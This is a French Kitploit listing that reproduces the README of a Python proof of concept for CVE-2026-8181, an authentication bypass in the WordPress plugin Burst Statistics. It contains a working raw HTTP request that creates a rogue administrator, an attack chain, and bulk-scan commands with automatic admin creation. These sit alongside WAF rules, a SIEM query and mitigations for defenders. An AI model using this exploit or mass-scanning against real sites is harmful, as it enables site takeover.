Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-8181-PoC — PoC Python pour CVE-2026-8181, un contournement critique de l'authentification dans le plugin WordPress Burst Statistics. Inclut l'automatisation de l'exploitation, l'analyse en masse et la création de comptes administrateur pour des tests de sécurité autorisés. | Kitploit
Outils/GitHubGitHub/squamity/cve-2026-8181-poc
Outils DéfensifsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationApprentissage et ÉducationRed Teaming
GitHub
squamity/cve-2026-8181-poc

CVE-2026-8181-PoC

PoC Python pour CVE-2026-8181, un contournement critique de l'authentification dans le plugin WordPress Burst Statistics. Inclut l'automatisation de l'exploitation, l'analyse en masse et la création de comptes administrateur pour des tests de sécurité autorisés.

Voir le dépôt
5il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🚨 CVE-2026-8181 | Contournement d'authentification de Burst Statistics

CVE-2026-8181 CVSS WordPress Plugin Affected Versions Actively Exploited

[!CAUTION] ALERTE CRITIQUE : cette vulnérabilité permet à un attaquant distant non authentifié de contourner l'authentification et d'obtenir la totalité des privilèges d'administrateur sur le site WordPress cible en injectant simplement un en-tête HTTP personnalisé. Cette CVE fait actuellement l'objet d'une exploitation active dans la nature.


📑 Table des matières

  1. Résumé exécutif
  2. 🔬 Analyse approfondie : analyse des causes racines
  3. ⚔️ Manuel offensif : exploitation
  4. 🛡️ Manuel défensif : détection et atténuation
  5. 🛠️ Utilisation de l'outil PoC
  6. Références et avertissement

📖 Résumé exécutif

CVE-2026-8181 est une vulnérabilité critique de contournement de l'authentification affectant le plugin WordPress Burst Statistics (versions 3.4.0 à 3.4.1.1). Le défaut se situe dans l'intégration du proxy MainWP du plugin. En raison d'une validation inadéquate des mots de passe d'application lors du hook plugins_loaded exécuté trop tôt, le plugin accorde à tort un contexte administratif aux requêtes de l'API REST qui incluent l'en-tête X-BurstMainWP: 1, même si la requête est dépourvue d'identifiants valides.

Cela transforme une simple requête HTTP non authentifiée en une prise de contrôle administrative complète, contournant tous les mécanismes d'authentification standard de WordPress.


🔬 Analyse approfondie : analyse des causes racines

Pour comprendre comment un simple en-tête offre les clés du royaume, nous devons disséquer la logique PHP du gestionnaire d'authentification du plugin.

Le flux logique vulnérable

La vulnérabilité provient d'une branche conditionnelle mal gérée dans includes/Frontend/class-mainwp-proxy.php, au sein de la méthode is_mainwp_authenticated().

  1. Le déclencheur : le plugin enregistre init() sur plugins_loaded avec la priorité 9. C'est trop tôt dans le cycle de vie de WordPress.
  2. Le hook : lorsqu'une requête porte l'en-tête X-BurstMainWP: 1, has_admin_access() délègue l'authentification à is_mainwp_authenticated().
  3. L'appel au noyau : la méthode lit l'en-tête Authorization et transmet les identifiants à wp_authenticate_application_password() du noyau WordPress.
  4. Le défaut fatal (CWE-287) : comme l'API REST n'a pas encore défini le filtre application_password_is_api_request sur true (en raison de l'exécution précoce du hook), la fonction du noyau renvoie null au lieu d'un objet WP_Error.
  5. Le contournement : le plugin vérifie uniquement is_wp_error( $user ). Comme null n'est pas un WP_Error, la garde est franchie.
  6. La prise de contrôle : le code poursuit son exécution jusqu'à une branche non sécurisée, appelant wp_set_current_user() avec le nom d'utilisateur fourni par l'attaquant, élevant instantanément la requête à un contexte administrateur complet.

Représentation en pseudo-code

root@kitploit:~
// Simplified representation of the vulnerable code in Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );

if ( is_wp_error( $user ) ) {
    return false; // Correctly handles explicit authentication failures
}

// 🚨 THE FATAL FLAW 🚨
// If no application password is provided or API request isn't flagged yet,
// wp_authenticate_application_password returns NULL.
// The code fails to check for NULL!
if ( $user === null ) {
    // Instead of failing securely, it falls through to this unsafe branch:
    $admin_user = get_user_by( 'login', $attacker_supplied_username );
    wp_set_current_user( $admin_user->ID ); // BOOM: Admin context granted!
    return true;
}

⚔️ Manuel offensif : exploitation

Cette section est destinée aux Red Teamers et aux testeurs d'intrusion autorisés.

La chaîne d'attaque

  1. Reconnaissance : identifiez que la cible exécute Burst Statistics <= 3.4.1.1 (par exemple, via /wp-content/plugins/burst-statistics/readme.txt).
  2. Énumération d'utilisateurs : trouvez un nom d'utilisateur administrateur valide. L'API REST de WordPress les divulgue souvent via GET /wp-json/wp/v2/users. Si elle est bloquée, utilisez l'astuce des archives d'auteur : /?author=1.
  3. Construction de la charge utile : construisez une requête HTTP POST pour créer un nouvel utilisateur : POST /wp-json/wp/v2/users.
  4. Injection d'en-tête : injectez les en-têtes magiques :
    • X-BurstMainWP: 1
    • Authorization: Basic <base64(admin_username:fake_password)>
  5. Exécution : le serveur traite la requête, atteint la vérification null défectueuse et élève la requête au contexte administrateur. Le nouvel utilisateur administrateur est créé.

Exemple de requête HTTP brute

root@kitploit:~
POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json

{
  "username": "backdoor_admin",
  "password": "SuperSecretPassword123!",
  "email": "[email protected]",
  "roles": ["administrator"]
}

[!IMPORTANT] Avertissement environnemental : cet exploit nécessite que l'en-tête Authorization atteigne PHP.

  • Nginx / LiteSpeed / Apache avec permaliens personnalisés (Pretty Permalinks) : l'en-tête est transmis. L'exploit RÉUSSIT.
  • Apache avec permaliens simples (par défaut) : l'en-tête est silencieusement supprimé par le serveur web. L'exploit ÉCHOUE.

🛡️ Manuel défensif : détection et atténuation

Cette section est destinée aux Blue Teamers, aux analystes SOC et aux administrateurs système.

🕵️ Stratégies de détection

1. Règles de pare-feu d'application web (WAF)

Bloquez ou surveillez l'en-tête spécifique en périphérie du réseau.

Règle ModSecurity / OWASP CRS :

root@kitploit:~
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
    "id:1000001, \
    phase:1, \
    deny, \
    status:403, \
    log, \
    msg:'CVE-2026-8181: Burst Statistics Auth Bypass Attempt', \
    tag:'CVE-2026-8181', \
    severity:'CRITICAL'"

Règle personnalisée Cloudflare WAF :

(http.request.headers["X-BurstMainWP"] eq "1")


2. Analyse des journaux et requêtes SIEM

Recherchez dans les journaux de votre serveur web la présence de l'en-tête combinée à une création d'utilisateurs via l'API REST.

Requête Splunk / ELK :

root@kitploit:~
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0

3. Indicateurs de compromission (IoC)

Si vous suspectez une intrusion, recherchez ces artefacts post-exploitation :

  • Nouveaux utilisateurs administrateurs : vérifiez la table wp_users pour les utilisateurs créés via l'API REST avec le rôle administrator.
  • Plugins suspects : vérifiez wp-content/plugins/ pour les téléversements non autorisés (souvent des webshells déguisés en plugins légitimes).
  • Fichiers modifiés : vérifiez les modifications non autorisées dans wp-content/themes/ ou dans les fichiers du noyau.

🛡️ Atténuation et remédiation

[!IMPORTANT] Action immédiate requise : si vous exécutez une version vulnérable, appliquez immédiatement l'une des atténuations suivantes.

PrioritéActionDétails
P0Corriger le pluginMettez à jour Burst Statistics vers la version 3.4.2 ou une version supérieure immédiatement via le tableau de bord WordPress.
P1Correctif virtuel WAFSi vous ne pouvez pas corriger immédiatement, déployez les règles WAF (ci-dessus) pour bloquer l'en-tête X-BurstMainWP.
P2Restreindre l'énumération d'utilisateursUtilisez un plugin de sécurité ou des règles .htaccess pour bloquer l'accès public à /wp-json/wp/v2/users et /?author=*.
P3Auditer les utilisateurs et les fichiersExécutez un script pour auditer les comptes administrateurs récemment créés et révoquez tout accès non autorisé. Recherchez les webshells.

🛠️ Utilisation de l'outil PoC

Ce dépôt inclut CVE-2026-8181.py, un outil d'automatisation Python permettant de vérifier la vulnérabilité dans des environnements de laboratoire autorisés.

Fonctionnalités

FonctionnalitéDescription
🎯 Cible uniqueAnalysez un site spécifique à l'aide de l'option -u.
📦 Opérations groupéesFournissez une liste de cibles via -f targets.txt (prend en charge # pour les commentaires).
⚡ ConcurrenceAccélérez les analyses groupées avec des workers multithreadés (-j N).
💾 Sortie intelligente-o file.txt pour un rapport combiné. En mode groupé, seuls les exploits réussis sont journalisés.
📂 Extractions par hôteUtilisez --output-dir pour enregistrer des fichiers .txt individuels pour chaque hôte compromis.
👤 Création d'administrateurPassez --create-user pour provisionner automatiquement un nouveau compte administrateur via l'API REST.
🔓 TLS de laboratoireUtilisez -k pour ignorer les erreurs de certificat SSL (strictement pour les environnements de laboratoire locaux/de confiance).

Démarrage rapide

root@kitploit:~
# 1. Install dependencies
pip3 install requests urllib3

# 2. Single Site Recon & Auto-Provision New Admin
python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k

# 3. Bulk Scan with Combined Success File
python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k

# 4. Bulk Scan with Individual Host Reports
python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k

📚 Références et crédits

  • Découverte originale : Chloe Chamberland & PRISM (Wordfence Threat Intelligence)
  • Enregistrement CVE : MITRE CVE-2026-8181
  • Détail NVD : NIST NVD
  • Répertoire du plugin : Burst Statistics

⚖️ Avertissement

[!WARNING] UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TESTS AUTORISÉS.

Les informations fournies dans ce dépôt sont destinées à des fins éducatives, à la recherche en sécurité et aux tests d'intrusion autorisés. L'exploitation de vulnérabilités contre des systèmes sans autorisation écrite explicite du propriétaire du système est illégale et viole les lois internationales en matière de cybercriminalité.

Les auteurs et contributeurs de ce dépôt déclinent toute responsabilité et ne sont pas responsables de tout usage abusif, dommage ou conséquence juridique découlant de l'utilisation de cet outil ou de ces informations. Hackez toujours de manière responsable et éthique.


Construit avec ❤️ par Squamity | Maintenu pour l'éducation défensive et offensive
Télécharger l’outil